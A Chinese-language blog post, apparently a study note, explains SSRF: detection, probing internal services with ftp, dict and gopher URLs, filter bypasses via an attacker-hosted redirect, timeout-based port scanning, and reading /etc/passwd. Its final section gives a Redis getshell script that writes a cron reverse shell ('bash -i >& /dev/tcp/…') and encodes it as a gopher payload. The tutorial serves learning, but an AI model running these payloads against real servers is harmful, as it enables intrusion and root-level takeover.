ssrf小结
前言
前两天面试时突然问起SSRF,这词咋这么熟悉呢!但是又想不起来具体的内容,面试结束后翻阅文档觉得很遗憾,因为之前有学习过,不过时间长没用忘掉了,特此写一篇文章加深印象!
什么是SSRF
SSRF就是服务器请求伪造(Server-Side Request Forgery),从其他服务器获取数据时可能会出现此漏洞。
通用表现形式为http://127.0.0.1/ssrf.php?url=http://10.0.0.1/test.php
正常来说,此页面是在ssrf.php
页面中调用10.0.0.1/test.php
页面,调用是由127.0.0.1
发起的,那么我们可以利用这种特性探测127.0.0.1
的内网,对内网进行攻击,或者使用file
协议尝试读取etc/passwd
。
如何判断无回显的SSRF是否存在?
可以借助DNSLOG平台检测
利用SSRF
SSRF常见的利用方式是信息收集方向,因为大部分SSRF造成的危害都不是很严重,所以SSRF经常容易被忽略,这里总结一下常见的利用方式:
FTP协议:
如果此端口开放,则页面始终处于加载状态
1 http://localhost/ssrf.php?url=ftp://ip:端口/info相当于
1 curl -v "ftp://ip:端口/info"
dict协议:
常见dict探测
利用dict协议获取端口的详细信息,方式:
1 http://localhost/ssrf.php?url=dict://ip:端口/info相当于
1 curl -v "dict://ip:端口/info"利用dict操作redis
1 http://localhost/ssrf.php?dict://ip:6379/keys相当于
1 curl -v "dict://ip:6379/keys *"
gopher协议
规则(下划线不可缺少)
1 gopher://<host>:<port>/<gopher-path>_TCP数据流gopher获取info
1 curl -v "gopher://ip:端口/_info"
bypass
一般存在ssrf的地方大多数都限制了协议类型,仅允许http协议,可以进行一次中转使用head()
函数重定向,这样就可以绕过了。
举例:
发现一处ssrf,但仅允许http协议:
1 http://localhost/ssrf.php?url=http://baidu.com此时可以在自己的vps(假设地址为10.0.0.1)上创建
ssrf.php
页面,内容如下:
1
2
3
header("Location://dict://目标IP:端口/info")此时访问:
1 http://localhost/ssrf.php?url=http://10.0.0.1/ssrf.php就可以绕过协议限制了,但是没有回显,只能盲打,可以利用ftp的无限加载特性进行端口扫描,当端口未开放时页面加载速度特别快(网速较好),当当端口开放时加载速度就会特别慢,直到超时自动断开。
而且有些页面会判断后缀,比如限制后缀是jpg,此时可以继续添加参数绕过。
1 http://localhost/ssrf.php?url=http://10.0.0.1/ssrf.php?data=1.jpg
另外可以使用[::]来绕过localhost,如[::]:6379
例子2:
条件:服务器限制传递的url中不允许出现php这三个字符
思路:可以修改vps上apache的配置文件比如全局配置或者
.htaccess
,使其将jpg文件解析成php即可绕过
端口扫描
基于ftp的加载特性,可以根据超时写一个简单的常见端口扫描器:
1 | import requests |
gopher getshell
思路:
配合redis服务可以getshell,redis服务一般运行在内网的6379端口,利用ssrf漏洞可以进行内网扫描,如果此端口开放可以尝试getshell,因为redis服务一般运行在内网仅主机可以访问,所以默认是root权限而且没有密码,如果getshell成功那么就是root权限。
步骤:
反弹shell脚本如下,保存成.sh文件执行:
1
2
3
4
5
6 redis-cli flushall
echo -e "\n\n\n*/1 * * * * bash -i >& /dev/tcp/攻击机地址/端口 0>&1\n\n\n"|redis-cli -x set 1
redis-cli -h 受害者地址(127.0.0.1) -p 端口(6379) config set dir /var/spool/cron
redis-cli -h 受害者地址 -p 端口 config set dbfilename root
redis-cli -h 受害者地址 -p 端口 save
redis-cli -h 受害者地址 -p 端口 quit接下来使用socat获取数据包,将6379转发到1234上
socat -v tcp-listen:1234,fork tcp-connect:localhost:6379
执行反弹shell的脚本,此时会读取到数据流:
将数据流保存,并编码成gopher协议支持的形式:
先舍弃
<
和>
开头的数据,这表示请求和返回,再舍弃掉+OK
的数据,表示返回的信息,在剩下的数据中,将\r
替换为%0d
,将\n
替换成%0a
,其中的$
进行URL编码,此时编码就完成了,如果需要修改反弹的IP和端口,则需要同时修改上面的$62
,$62
为写入Crontab(计划任务)中的命令长度,转码后类似下图。此时payload已经生成了,使用
gopher://_
+payload
发起一次攻击,创建定时反弹shell任务。